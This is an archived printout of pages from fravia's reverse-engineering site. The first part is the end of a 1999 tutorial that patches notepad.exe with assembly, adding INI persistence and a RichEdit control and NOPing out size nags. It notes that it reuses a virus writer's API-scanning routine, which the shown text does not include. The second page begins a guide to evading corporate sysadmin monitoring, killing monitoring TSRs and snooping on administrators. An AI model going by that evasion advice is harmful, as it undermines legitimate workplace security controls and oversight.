; HFILE hFile // handle to file to close
;

http://www.instinct.org/fravia/nnhnpad.htm (33 of 49) [2/7/2001 3:30:20 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

; );

push eax ; file handle


call _lclose

push 100 --\


push 4109a1 |
push 34 ; = 52 DEC | --> This LoadStringA restores the buffer "RingZ3r0's
Hnotepad....."
push 400000 |
call LoadStringA --/

popad ; restores all regs


jmp dword ptr [63f8c4] ; our variable return jump

ERROR_IN_FILE (@8A11h):

cmp byte ptr [ebx], 0 ; the CMDLINE check, also present in .TEXT
*** jnz 40285c ; if CMDLINE!=NULL, OPCODES: 0F854268FFFF
*** jmp 402950 ; if CMDLINE==NULL, OPCODES: E93169FFFF

NOP
NOP ; i put them here to mark the end of this code piece.
NOP

The end.....now try to edit a file C:\windows\hnotepad.ini, insert two '=' in it, and
after the
first one write 'Y', while after the second one write the name (with path) of a file
on your hdd.
Hnotepad will automatically use these infoes at start.

---

Ok, but we solved only part of the problem. Let's analize now the part relative to
automatic
WRITING of the .INI file every time we quit hnotepad:

* Before quitting, the program will create a file "C:\windows\hnotepad.ini"; if the


file
exists, it truncates its size to 0 and it recreates it; if creation fails, exit as
if nothing
happened :)

* If the file is created correctly, load the "skeleton" of the .INI file (seen
before) into
memory, and retrieve the necessary info to write data in it (name of the last file
opened and

http://www.instinct.org/fravia/nnhnpad.htm (34 of 49) [2/7/2001 3:30:20 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

Word Wrapping status at exit time).

* Write (in memory) all data relative to wrapping and last file, putting them in the
correct
points of the skeleton in memory.

* Write the skeleton along with the new data in the file

* Quit the program

In order to do this, obviously, we need to know these 2 things:

1) WHERE we'll find the name of the last file opened before closing and
2) WHERE we can check the present status of the Word Wrapping.

Good...first answer is really easy: the name is always there, into the same
open-file-name
buffer, at exit time as well: 4052d0.

Second question is just a bit harder, but nothing serious.

Do you remember that main call in the window procedure ? the one that processed the
messges sent
to the window? let's take another look:

* Referenced by a CALL at Address:


|:00401E58
|
:0040116C 55 push ebp
:0040116D 8BEC mov ebp, esp
:0040116F 81EC04010000 sub esp, 00000104
:00401175 33C0 xor eax, eax
:00401177 56 push esi
:00401178 57 push edi
:00401179 BE38614000 mov esi, 00406138
:0040117E 8DBDFCFEFFFF lea edi, dword ptr [ebp+FFFFFEFC]
:00401184 B940000000 mov ecx, 00000040
:00401189 A4 movsb
:0040118A 8DBDFDFEFFFF lea edi, dword ptr [ebp+FFFFFEFD]
:00401190 F3 repz
:00401191 AB stosd
:00401192 66AB stosw
:00401194 AA stosb
:00401195 0FB7750C movzx esi, word ptr [ebp+0C] ; <- ID VALUE OF THE
CHOSEN MENU
:00401199 83FE20 cmp esi, 00000020 ; COMPARES ID VALUE AND 20h
:0040119C 8BC6 mov eax, esi
:0040119E 7F1A jg 004011BA ; IF ID > 20h, TAKE THE JUMP
:004011A0 0F84C1030000 je 00401567
:004011A6 48 dec eax
:004011A7 83F81B cmp eax, 0000001B
:004011AA 7736 ja 004011E2
:004011AC 0FB68838174000 movzx ecx, byte ptr [eax+00401738]

http://www.instinct.org/fravia/nnhnpad.htm (35 of 49) [2/7/2001 3:30:20 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

:004011B3 FF248DF8164000 jmp dword ptr [4*ecx+004016F8] ; OTHERWISE PROCESS


; ACCORDINGLY

Excellent. Intuitively, our best bet is to confide in a "BPX 401199 if esi==1b" in


order to
analize code behaviour in case of wrapping toggling. We'll reach the variable jmp at
11b3 and
this will redirection us towards 401491:

:00401491 833D1860400001 cmp dword ptr [00406018], 00000001 ; [406018]=0 if


wrap=OFF
; [406018]=1 if
wrap=ON
:00401498 1BC0 sbb eax, eax
:0040149A F7D8 neg eax
:0040149C 50 push eax
:0040149D E8EC1E0000 call 0040338E
:004014A2 85C0 test eax, eax
:004014A4 7415 je 004014BB
:004014A6 833D1860400001 cmp dword ptr [00406018], 00000001
:004014AD 1BC0 sbb eax, eax
:004014AF F7D8 neg eax
:004014B1 A318604000 mov dword ptr [00406018], eax ; REFRESH THE PTR
WITH THE NEW
; WRAPPING POSITION

We can easily deduct from this that the dword ptr [406018] is nothing more than a
status flag, to
be more precise it's our Word Wrapping Status Flag :)
If it's 0, wrapping is OFF, and this procedure ACTIVATES it, setting the dword ptr
[406018] to 1.
If it's 1, wrapping is ON, and the procedure does exactly the contrary.
At exit time, this ptr is kept, and it clearly indicates us wheter wrapping was ON or
OFF when we
chose to quit, so we'll just need to check it and that's it.

Intuitively, the point where to jump from is the code relative to WM_DESTROY, in
other words when
we have almost closed everything up and the user can't decide to cancel the quitting
operation.
In order to track down the correct code zone, we'll use a fairly easy method: the API
function
RegisterClass.
In the Disasm, look for "registerclass" and u'll be here:

:00402B19 C745F820604000 mov [ebp-08], 00406020


:00402B20 C745D8AD1A4000 mov [ebp-28], 00401AAD
:00402B27 C745F006000000 mov [ebp-10], 00000006
:00402B2E C745D400100000 mov [ebp-2C], 00001000
:00402B35 50 push eax
:00402B36 897DDC mov dword ptr [ebp-24], edi
:00402B39 897DE0 mov dword ptr [ebp-20], edi

http://www.instinct.org/fravia/nnhnpad.htm (36 of 49) [2/7/2001 3:30:20 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

* Reference To: USER32.RegisterClassExA, Ord:0196h


|
:00402B3C FF15CC734000 Call dword ptr [004073CC]

Really easy, just take a look at the locations MOVed in [ebp-xx] before the call and
you'll soon
notice that the beginning of the window procedure is at 401aad:

:00401AAD 55 push ebp


:00401AAE 8BEC mov ebp, esp
:00401AB0 56 push esi
:00401AB1 57 push edi
:00401AB2 8B750C mov esi, dword ptr [ebp+0C]
:00401AB5 83FE05 cmp esi, 00000005
:00401AB8 7714 ja 00401ACE
:00401ABA 0F8406010000 je 00401BC6
:00401AC0 83FE02 cmp esi, 00000002
:00401AC3 0F84F0000000 je 00401BB9

With a bpx 401ab5, you'll notice that ESI contains the message that is analized at
present time.
but the one we are interested in is obviously WM_DESTROY (=02h). Good, as you can see
we have a
jump at 401ac3 that will be taken only if the current message is WM_DESTROY. it'll be
enough to
substitute that VA with our code starting line and the problem is gone. Our code will
begin at VA
40c022 (@8A22h), and the offset of the je to change is EC3h.

was

:00401AC3 0F84F0000000 je 00401BB9

and becomes

:00401AC3 0F8459A50000 ********** je 0040C022 ; --> TOWARDS OUR NEW CODE

The new API functions we'll need are these:

_lcreat: call d,[407360]


_lwrite: call d,[4072f8]
ExitProcess: call d,[407354]

Our code is this:

Start (@8A22h):

pushad ; saves all regs


push 20 ; # of chars to take
push 63f8c4 ; reception buffer

http://www.instinct.org/fravia/nnhnpad.htm (37 of 49) [2/7/2001 3:30:20 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

push 3c ; = 60 dec, "C:\\windows\\hnotepad.ini"


push 400000 ; handle to the module with the stringtable
call LoadStringA

; NOW WE MUST CREATE THE FILE; WE'LL USE _lcreat


;
; HFILE _lcreat(
;
; LPCSTR lpPathName,// pointer to name of file to open
; int iAttribute // file attribute
; );
;
; THE ATTRIBUTE WE'LL USE WILL BE 0, OR "Normal" (THE FILE CAN BE READ OR WRITTEN
; TO WITHOUT RESTRICTIONS).
; _lcreat AUTOMATICALLY TRUNCATES THE SIZE OF THE FILE TO 0 IF IT EXISTS ALREADY,
; OR, IF IT DOESN'T EXISTS, IT CREATES THE FILE FROM SCRATCH.

push 0 ; "Normal" attribute


push 63f8c4 ; "C:\windows\hnotepad.ini"
call _lcreat

cmp eax, -1 ; if we had an error during creation


jnz CREATED_OK (@8A4Fh)
popad ; restores all regs
*** jmp 401bb9 ; where it would have jumped if we hadn't sticked in our deviation
; OPCODES : E96A5BFFFF

CREATED_OK (@8A4Fh):

push eax ; saves file handle

push 100 ; # of chars to take


push 4109a1 ; reception buffer
push 3d ; = 61 DEC, the ID of the "****\nFILE AUTOMATICALLY GENERATED...." string
push 400000 ; handle to the module with the stringtable
call LoadStringA

cmp dword ptr [406018], 0 ; it's zero if WordWrapping = OFF


jz CHECK_LASTFILE (@8A77)
mov byte ptr [410a26], 59 ; changes the default "N" after "AutoWrap=" with "Y"
(059h)

CHECK_LASTFILE (@8A77):

; IN THIS CHECK WE'LL VERIFY IF WE HAVE A FILENAME OR THE WORD "Untitled", WHICH
; MEANS THAT THERE WAS NO LAST FILE OPENED.

mov eax, 4052d0 ; the starting address of the buffer with the last file name

http://www.instinct.org/fravia/nnhnpad.htm (38 of 49) [2/7/2001 3:30:20 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

cmp byte ptr [eax], 55 ; = 'U'


jnz LASTFILE_PRESENT (@8AB3h)
cmp byte ptr [eax+1], 6e ; = 'n'
jnz LASTFILE_PRESENT (@8AB3h)
cmp byte ptr [eax+2], 74 ; = 't'
jnz LASTFILE_PRESENT (@8AB3h)
cmp byte ptr [eax+3], 69 ; = 'i'
jnz LASTFILE_PRESENT (@8AB3h)
cmp byte ptr [eax+4], 74 ; = 't'
jnz LASTFILE_PRESENT (@8AB3h)
cmp byte ptr [eax+5], 6c ; = 'l'
jnz LASTFILE_PRESENT (@8AB3h)
cmp byte ptr [eax+6], 65 ; = 'e'
jnz LASTFILE_PRESENT (@8AB3h)
cmp byte ptr [eax+7], 64 ; = 'd'
jnz LASTFILE_PRESENT (@8AB3h)
cmp byte ptr [eax+8], 00 ; the zero byte that marks the end of the name
jnz LASTFILE_PRESENT (@8AB3h)

jmp WRITE_DATA (@8AC3h) ; JMPS in HIEW

LASTFILE_PRESENT (@8AB3h):

push 4052d0 ; last file name


push 410a33 ; buffer that begins immediately after the second '=' in the skeleton
which is
; already in memory
call lstrcpyA

WRITE_DATA (@8AC3h):

pop eax ; restores file handle in eax...


push eax; ...and re-saves it

; NOW WE'LL WRITE THE SKELETON TO THE FILE. WE'LL USE _lwrite, BUT THERE'S A PROBLEM.
ON MY PC,
; DUE TO YET UNKNOWN REASONS I CAN'T SAVE MORE THAN 7Fh BYTES PER TIME, AND
CONSIDERED THAT THE
; TEXT WE WANT TO SAVE IS 92h BYTES LONG, WE'LL USE _lwrite 2 TIMES, THE FIRST ONE
WITH THE
; FIRST 7Fh BYTES, THE SECOND ONE WITH THE REMAINING 13h.
;
; UINT _lwrite(
;
; HFILE hFile, // handle to file
; LPCSTR lpBuffer, // pointer to buffer for data to be written
; UINT uBytes // number of bytes to write
; );

push 7f ; the first 7fh bytes of the skeleton

http://www.instinct.org/fravia/nnhnpad.htm (39 of 49) [2/7/2001 3:30:20 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

push 4109a1 ; beginning of the skeleton buffer in memory


push eax ; file handle
call _lwrite

pop eax ; restores file handle in eax...


push eax; ...and re-saves it

push 13 ; the remaining 13h bytes of the skeleton


push 410a20 ; memory location where the remaining 13 bytes of the skeleton start
push eax ; file handle
call _lwrite

; NOW WE MUST CHECK THE LENGHT OF THE NAME OF THE FILE, PUSH THOSE BYTES AND APPEND
THAT NAME
; TO OUR .INI FILE

xor eax, eax ; resets counter for filename lenght


mov edi, 410a33 ; location with the first letter of the filename

CHECK_LASTFILE_NAME_LENGHT (@8AEAh):

cmp byte ptr [edi], 0


jz ENDCHECK (@8AF3h)
inc edi
inc eax
jmp CHECK_LASTFILE_NAME_LENGHT (@8AEAh); JMPS in HIEW

ENDCHECK (@8AF3h):

mov byte ptr [edi], 0d ; appends a CR (carriage return) to the string


inc eax
pop edi ; file handle in edi
push eax ; # of bytes to write
push 410a33 ; where filname begins
push edi ; file handle
call _lwrite

push edi ; file handle


call _lclose

popad ; restores all regs

call ExitProcess ; quit the program

NOP
NOP ; end of this part of code
NOP

There would be something to explain here. Why did i stick in a direct call to
ExitProcess without
allowing the program to execute the PostQuitMessage (in order to exit in a more
'clean' way)? The

http://www.instinct.org/fravia/nnhnpad.htm (40 of 49) [2/7/2001 3:30:20 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

problem is easy...if you try to exit under certain conditions (in our case choosing
anything else
than File/Exit) you'll get a fault. The reason is still unknown to me, yet i suspect
it might be
due to stack trashing following some LoadStringA, and the fault happens while tracing
through
kernel code. Anyway, the call to ExitProcess doesn't cause any problems, it's just a
"quicker"
way to quit the process. Processing WM_CLOSE instead of WM_DESTROY doesn't give much
different
results.

From now on, everytime you exit and reopen Hnotepad, the last file (if present) and
the Word
Wrapping will be restored. Isn't that nice :)

__________________________________________________________________

PHASE 5 : ELIMINATION OF THE LIMIT IN THE SIZE OF THE OPENED FILES


__________________________________________________________________

Here we go with the fifth and last part of the creation of Hnotepad, the elimination
of the limit
in the size of the files opened with Notepad.
What we'll do is fairly easy: we'll change the Edit control (which Notepad currently
uses) into a
RichEdit control, the one used by WordPad.
If you want more infos on this subject, i suggest looking at you API reference and
looking for
"RichEdit".

The thing would be really easy, if it wasn't for a single detail: in order to use a
RichEdit
control, we need the Riched32.dll library to be present in memory at runtime. And in
order to
load the Riched32.dll library we need the LoadLibraryA API function. But, alas (or
luckily,
because we'll have some fun;), Notepad doesn't include this function among the
imported ones (you
can check it with W32Dasm under Imported Functions, or with HIEW taking a look at the
.IDATA
section)...this is not a big problem, we could stick in a GetProcAddress instead of
another
function in the it (GetTimeFormatA for example) and use this API in order to retreive
the
address of the KERNEL32!LoadLibraryA function dynamically, at runtime...or we might
decide to
work heavily on the import table and completely remove it from there, implementing a
thunking
table, or still we might retrieve kernel32 base address and quickly scan the Export

http://www.instinct.org/fravia/nnhnpad.htm (41 of 49) [2/7/2001 3:30:20 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

Table of the
library to retrieve the function entrypoint to LoadLibraryA, etc..but we'll do it in
the simplest
way: we'll use a piece of code written for a virus by Jacky Qwerty, a virii
programmer
from one of the best virii writers groups on the scene (29A), which executes an
operation exactly
identical to GetProcAddress: infact it scans the requested library in memory (in our
case
Kernel32.dll) and retrieves the address of the desired function (in our case
LoadLibraryA). I
won't discuss more what the code does, as (if you're lucky:) you might use this link
to a zipped version of hnotepad.exe, along with the needed include files, the
commented source
code for this scanning function (KBASE.ASM) and the file i called
COMPILED_SCANNING_CODE,
containing the already compiled code.
This you can copy & paste inside your own targets (anywhere in the .exe, because
all the jumps are relative to its own offsets, and being a procedure to be called,
the only
return point is marked by a ret). The function accepts 2 parameters, the HANDLE to
the library
(or, better, the address where the library begins), in our case kernel32.dll, and the
NAME of the
desired function we want to retrieve (LoadLibraryA for us). In order to copy and
paste the hex
bytes inside your alien target, you can use a program like UltraEdit32 or Hex
Workshop, just act
like if it was plain text (be careful to paste at the right offsets ;).

If there's something you don't understand in the way you should apply this code to
targets, take
a look at part 4 of this tute to see how you can contact me.

But let's see how this system will work in OUR case: so here's the little problem i
was talking
before: we'll need some variables (3 to be precise), but we can't modify the
stringtable for our
purposes, because the minimal change would destroy our own work in .RSRC section. How
to do then?
Easy: we'll write our variables DIRECTLY in the physical file, in a place we don't
need (towards
the end of the file). But let's proceed gradually.

First of all we need to load the riched32.dll library and after that we'll need to
change "EDIT"
into "RICHEDIT" at the right place in order to obtain an edit control that supports
big files.

So, let's start tracing from the entry point:

:00401000 55 push ebp


:00401001 8BEC mov ebp, esp
:00401003 83EC44 sub esp, 00000044
:00401006 56 push esi

http://www.instinct.org/fravia/nnhnpad.htm (42 of 49) [2/7/2001 3:30:20 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

* Reference To: KERNEL32.GetCommandLineA, Ord:00BCh


|
:00401007 FF1548734000 Call dword ptr [00407348]
:0040100D 8BF0 mov esi, eax
:0040100F 8A00 mov al, byte ptr [eax]
:00401011 3C22 cmp al, 22
:00401013 7513 jne 00401028

Our deviation will be at the line next to the GetCommandLineA call, the "mov esi,
eax" at 40100d
(@40Dh). Our code, included those previous NOPs, will begin at 40c116 (@8B16).
So here's the change we'll do:

was

:0040100D 8BF0 mov esi, eax


:0040100F 8A00 mov al, byte ptr [eax]
:00401011 3C22 cmp al, 22
:00401013 7513 jne 00401028

and becomes

:0040100D E904B10000 ************ jmp 0040C116 ; --> TOWARDS OUR NEW CODE
:00401012 90 nop
:00401013 7513 jne 00401028

We'll have to remember to restore the 3 instructions we have replaced before


returning back to
.text with the jne at 401013.

Now we have the problem of the variables. Let's leave a bit of free space in the
.RSRC section,
and let's write in there the vars we need. Consider that we'll have to stick in the
scanning
code, so, given a good margin, change to HEX mode in HIEW and go to offset 8BD0h,
then edit the
asciis and write:

LoadLibraryA

This will be our first variable. Then go to offset 8BE0h and write:

Riched32.dll

Here's our second variable. We'll also need Kernel32.dll, but as you can imagine this
variable is
already present in our code, in the .IDATA section: a search from HIEW will make us
reach
directly this section, and among the names of the imported dll's you'll also find
Kernel32.dll.
The VA is 4076E0. We can now trace a little scheme of the variables we have at our
disposition,

http://www.instinct.org/fravia/nnhnpad.htm (43 of 49) [2/7/2001 3:30:20 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

so here are the VA's that interest us (the ones we'll use in order to refer to the
variables from
the code):

LoadLibraryA = 40C1D0 (@8BD0h)


Riched32.dll = 40C1E0 (@8BE0h)
KERNEL32.DLL = 4076E0 (@48E0h)

Furthermore, we'll use a new API, which is

GetModuleHandleA = call d,[40735c]

it will provide us the HANDLE to the library KERNEL32.DLL, which we'll scan looking
for our API
LoadLibraryA. There's a thing to say here: what is returned in EAX by this function
(GetModuleHandleA), in reality, is the BASE ADDRESS of the interested module, in
other words the
address where, in memory, the mapped library begins. This is not said in your API
reference :)

And here's the code we'll add to load the library:

Start (@8B16):

pushad ; saves all regs

push 4076e0 ; "KERNEL32.DLL"


call GetModuleHandleA ; retrieves the handle to (base address of) of the
Kernel32.dll library

push 40c1d0 ; "LoadLibraryA"


push eax ; handle to (beginning address of) of KERNEL32.DLL
* call SCANNING_CODE (@8B40); THE CALL TO THE SCANNING CODE : OPCODES E813000000

; IMPORTANT: THE SCANNING CODE WILL RETURN THE ADDRESS OF THE DESIRED API, BUT IN
*ECX*, NOT IN
; EAX

push 40c1e0 ; "Riched32.dll"


call ecx ; CALL THE LoadLibraryA FUNCTION

popad ; restores all regs

mov esi, eax --\


mov al, [eax] |____ Here we restore the code we modified in .TEXT with our JMP
cmp al, 22 | OPCODES FOR THE JMP : E9D34EFFFF
jmp 401013 --/

SCANNING_CODE (@8B40):

; HERE YOU MUST SIMPLY PASTE THE CODE I PROVIDED IN THE FILE
COMPILED_SCANNING_CODE. FOR A
; DETAILED DESCRIPTION OF ITS FUNCTIONS TAKE A LOOK AT AUTHOR'S COMMENTS IN THE

http://www.instinct.org/fravia/nnhnpad.htm (44 of 49) [2/7/2001 3:30:20 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

SOURCE CODE
; (KBASE.ASM, INSIDE ARCHIVE SCANNING_CODE.ZIP)

Excellent, now our code is ready...we just have one more problem..we must create the
control in
RichEdit mode, not Edit, or all those changes are useless. In order to modify the
control, we
have to find the CreateWindowExA call (that notepad uses) that is called with the
string "Edit"
pushed on the stack, and redirect that push towards our new variable "RichEdit".
First of all,
let's create this variable. In HEX mode as usual, from HIEW edit the ascii at offset
8BF0, and
write

RichEdit

So the VA for this new var is 40C1F0.

In order to find the call we are interested in, from sice "BPX CreateWindowExA" and
run notepad.
You'll arrive to this point:

:00402785 53 push ebx


:00402786 A100604000 mov eax, dword ptr [00406000]
:0040278B 56 push esi
:0040278C 6A0F push 0000000F
:0040278E 50 push eax
:0040278F 6890010000 push 00000190
:00402794 6858020000 push 00000258
:00402799 53 push ebx
:0040279A 53 push ebx
:0040279B 6804013050 push 50300104
:004027A0 688C614000 push 0040618C

* Possible StringData Ref from Data Obj ->"Edit"


|
:004027A5 6890614000 push 00406190
:004027AA 6800020000 push 00000200
:004027AF FFD7 call edi ; CALLS CreateWindowExA

Good....it's easy to guess what the change will be...at offset 1BA5h:

was

:004027A5 6890614000 push 00406190 ; "Edit"

and becomes

:004027A5 68F0C14000 push 0040C1F0 ; "RichEdit"

Now we just have TWO more details to modify, and then we can finally close this
incredibly long

http://www.instinct.org/fravia/nnhnpad.htm (45 of 49) [2/7/2001 3:30:20 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

tutorial :)

1) If you try to open big files, you'll still have the nag that asks you if you want
to run
WordPad: bpx MessageBoxA, and you'll climb back to the check of the size, which is

:00402E8B 81FEFFFF0000 cmp esi, 0000FFFF


:00402E91 0F8FEC010000 jg 00403083

Just NOP that jg out (@2291h) and the problem will go away.

2) If you open a big file and you try to insert (or you have already inserted) the
Word Wrapping,
you'll notice an annoying nag that says something like "cannot carry out the wrapping
because
there's too much text in the file...." and blah blah, just BPX MessageBoxA and you'll
climb back
here:

:004014A2 85C0 test eax, eax


:004014A4 7415 je 004014BB ; EVIL JUMP
:004014A6 833D1860400001 cmp dword ptr [00406018], 00000001

Avoiding that jump (@8A4h) you'll avoid the NAG as well. So NOP it out.

Woooh.....THE END!!!! :D

_________________________________________________

PART 4 : Known Bugs and how to contact the author


_________________________________________________

I hope to fix them in the next versions of Hnotepad, anyway the bugs I know so far
are two:

* WHEN YOU CLOSE A FILE, YOU ALWAYS GET THE DIALOG "WANNA SAVE THE FILE?", EVEN IF
YOU DIDN'T
EVEN TOUCH IT. THE MOST ANNOYING, DECISELY, AND I SUSPECT IT'S TIED TO THE RICHEDIT
CONTROL.
ANY HELP IS WELCOME.

* SOMETIMES, OPENING A BIG FILE WHEN YOU ARE *ALREADY* INTO HNOTEPAD WILL MAKE THE
OLD "WANNA
LOAD WORDPAD" NAG POP UP, EVEN IF YOU'RE WORKING WITH THE RICHEDIT AND NOT WITH THE
EDIT. 99%
IT'S A SECOND CHECK ON THE LENGHT OF THE FILE, THO I COULDN'T TRACK IT DOWN YET, I
HAD SOME
PROBLEMS WITH UNIVERISTY, MY TIME AND MY LAZINESS ;)

http://www.instinct.org/fravia/nnhnpad.htm (46 of 49) [2/7/2001 3:30:20 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

If you happen to find some other bug, please contact me. You can do it either via
email
(neural@cryogen.com or neuro@mad.scientist.com) or looking for me on IRC. I'm often
in
#cracking4newbies (EFnet) and my nickname is nuural_en or nN. If u're sending an
email, please
specify which operating system you're using.

__________________

PART 5 : Greetings
__________________

So this is the end....this tutorial is dedicated to (no particular order):

GEnius, for having contributed a LOT with his moral support and his ideas about
RichEdit, with
his precious help as beta tester, and for having provided me the scanning code.
Without him all
this wouldn't have been possible, so THANK YOU GENIUS :)

Kill3xx, for having been a patient beta tester, and being a good friend and a
neverending well of
knowledge...excellent work with the Pesentry killo! :)

d4eMoN (aka Patr1zia ;P), for his help and his kindness, and for being a good
friend...thanx
MONSTAH :)

{Suby}, for being a old friend and for his help as beta tester. Won't forget that,
man :)

BrahzVooZ, for being the person that studies the more among the ones i know, and for
being a dear
'live' friend...COME BACK TO CRACKING BRO!! :)

Anub|s, for having liked the Hnotepad project at first sight, and for being a good
friend.

Insanity (not insa|nity :), for being a big fella and the nicest web/botmaster ever
:)

Quine, the (humble humble opinion of a common dude) best reverser ever...hell, i
mean, have you
ever taken the time to read something written by this GENIUS? do it, you won't repent
:)

+MaLaTTiA, for being a great friend and the moderator of the most inactive mailing
list of the
universe :)....and because he will be so kind that he will post me those infoes on
steganography
he promised some time ago as soon as he reads this text...isn't that true, mala???

http://www.instinct.org/fravia/nnhnpad.htm (47 of 49) [2/7/2001 3:30:20 PM]


nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

;))

ytc, one of my dearest internet friends, he's a great dude and keeps telling me that
i should
send my tutes to Fravia...but damn, i don't think they're worth :)...anyway thanks
for everything
bro, and congrats for that beautiful unpacking program (it's growing up real l33to;)
Hope to see
a tute on mem patching from you very soon ;)

Tin, great friend from #c4n, hope to see you soon in Italy, and bring the GIRLZ huh!!
;)

Carpathia, another great friend from #c4n...real l33t0, fantastic page about lamer
logs
(http://lamerlogs.cjb.net) and a beta tester too, thx for everything mate :)

DEZM, keep on learning and you'll soon kick all those so-called crackers in the arse
;))

+yoshi aka _y aka yman, 15 yrs (YEAHS;) old whiny bitch with a big attitude against
italians ;))
j/k of course, a real good boy, and an incredibly clever person imho (and nah i don't
wanna have
sex with you :)

knotty dread, my nettwin...he can always make me smile :)

razzia, for his great tutorial about notepad that gave me some big times reading it,
and great
zen-level inspiration for my tutorial!

Fravia+, the BIG one, one of the best reversers at the moment imho.

+ORC, the legend, the myth...another real BIG one, the reason why all crackers are so
proud of their past :)

Guybrush (^__^ ;), Quequero, N6U5, Furb3t, courier^, guiz, Corn, Crackz, Ghirijizzo,
Iczelion,
sortof, Alor, Along3x, Yan Orel, [lazarus], Quantico, llamagone, virogen,
fresh(&clean;), mr nop,
the+q, peneviso (aka xoanino;), moonshado, [r]ipley and all the other friends from
#crack-it,
#cracking4newbies and RingZ3r0 that i don't remember at the moment :)

NOW TURN OFF YOUR PC AND GO TO SLEEP ! ;P

'till next time,

NeuRaL_NoiSE 1999 for RingZ3r0, absolutely the BEST ITALIAN REVERSE ENGINEERING GROUP
!
(http://ringzer0.cjb.net) and for DREAD, the BEST INTERNATIONAL REVERSING GROUP !
(http://dread99.cjb.net)

Ob Duh
http://www.instinct.org/fravia/nnhnpad.htm (48 of 49) [2/7/2001 3:30:20 PM]
nnhnpad.htm: Reversing, functions addition, modifications in the existing code and classic cracking of a typical M$-target: notepad.exe

I wont even bother explaining you that you should BUY programs if you intend to use them for a longer period than the
allowed one. Should you want to STEAL software instead (unlikely in this case :-) you don't need to crack protection schemes
at all: you'll find everything on most Warez sites, complete and already regged, farewell, don't come back.

You are deep inside fravia's page of reverse engineering, choose your way out:

homepage links search_forms +ORC how to protect academy database


reality cracking how to search javascript wars
tools anonymity academy cocktails antismut CGI-scripts mail_fravia+
Is reverse engineering legal?

http://www.instinct.org/fravia/nnhnpad.htm (49 of 49) [2/7/2001 3:30:20 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

Fravia's Anonymity Academy


A Survival Survival
N strategies strategies
in a
O in a corporation
N corporation environment
Y environment updated
September
1999
You're an insignificant worm
from a sysad point of view. It is in
part true, of course. The might of

M your censors and controllers is


enormous and you are weak,
isolated and at danger... Yet you
may try to play a little your own
I tunes nevertheless.
On this page
"corporate survival" essays
T dll taming
technical basic work
psychological basic work
Y Fravia's Nofrill
Web design
'98 ~ '99 useful tricks
disable Webnannys censorships
One for "public" computers A
bag of tricks

Other related pages of my anonymity Lab


[Main Anonymity Lab] [stalking matters] [enemy tracking]
[steganography] [What Fravia knows about you] [Tweak your browser!]
[Anonymous e-mailing] [things that happen]

This is strongly geared towards Windows 95 corporate users

This section is due to a very simple constatation: users are considered, by most system administrators,
not much more than "nuisances" to their system, as if the undisturbed functioning of the system, and not
the user's wishes, should be the determinant factor (for their work and for their life).

http://www.instinct.org/fravia/corporat.htm (1 of 19) [2/7/2001 3:30:29 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

Introduction

Users are left to the compete mercy of petty and narrowminded security rules, that -far from contributing to the development of
the whole organisation- squeeze all original experimenting out of those system.
You, as a (moderately) intelligent user have only one option: try to work "undercover" for the sake of the development of
yourself and of everybody else... we'll list inside this section all possible tricks we know of that will allow you to defend a little
more your privacy (and to snoop a little about what actually the system administrators are doing... Quis custodit Custodes? We
do! :-)

Please note RULE NUMBER ONE: Never believe that you are smart. You are NOT. It is EXTREMELY more easy from a
system administrator standpoint to snoop on you than the countrary. Your attempts to snoop on your administrators from
inside their net on one of "their" computers (even if you believe it is "yours") are bound to be pretty feeble indeed. Yes, you can
do something, but you cannot do much. Don't get any feeling of false security reading the various tricks below. Don't think you
can go and "outsmart" your sysads. In fact, don't ever think that you are smart. You are NOT smart. That's rule number one.

First of all some BASIC WORK


Technical basic work
You'll have first of all to edit and save a win.bat, this will block the automated loading of Windows 95, (like pushing F8) here:

REM WIN.BAT

You may fire Winice, type winice

or start windows normally

typing win.com
This will allow you to decide if you want (or not) to start the windows bazaar and to connect on line. Keep in mind that you
can do quite a lot of things off line (in dos or windows) and that if you do (and work on your zip drive (see point 4) or on a
floppy inside your a: drive, the sysads have few ways to know what you are doing/writing/cracking. You should always check
for TSR modules anyway (see point 9), just in case, in order to kill them :-) The interrupting of the windows bazaar starting
procedure allows you also to start Winice with a winice.bat that you must edit and save as well. We are examining here the
case of people that are using, at work, an intranet connected computer, because they need a lot of help. Yet this is NOT the
best approach.
In general the best approach is to have ANOTHER computer at work (a portable, locked up in your drawers) where you keep
-encrypted- all your sensible data and tools, unfortunately not everybody has such possibilities :-(
The following tricks will, at least, ameliorate a little the situation of absolute dependancy that most users suffer on the intranet
systems of today.
The loading of Win95 is directed by the file c:\MSDOS.SYS where you'll find the following:

[Paths]

WinDir=C:\WINDOWS

WinBootDir=C:\WINDOWS

HostWinBootDrv=C

http://www.instinct.org/fravia/corporat.htm (2 of 19) [2/7/2001 3:30:29 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

[Options]

BootMulti=1

BootGUI=1

Network=1
Just change to BootGui=0 Network=0 To work on stand alone... btw, if you add under [options] Logo=0 you will not have any
more the silly Windows 95 logo, which only slows down the whole starting bazaar.

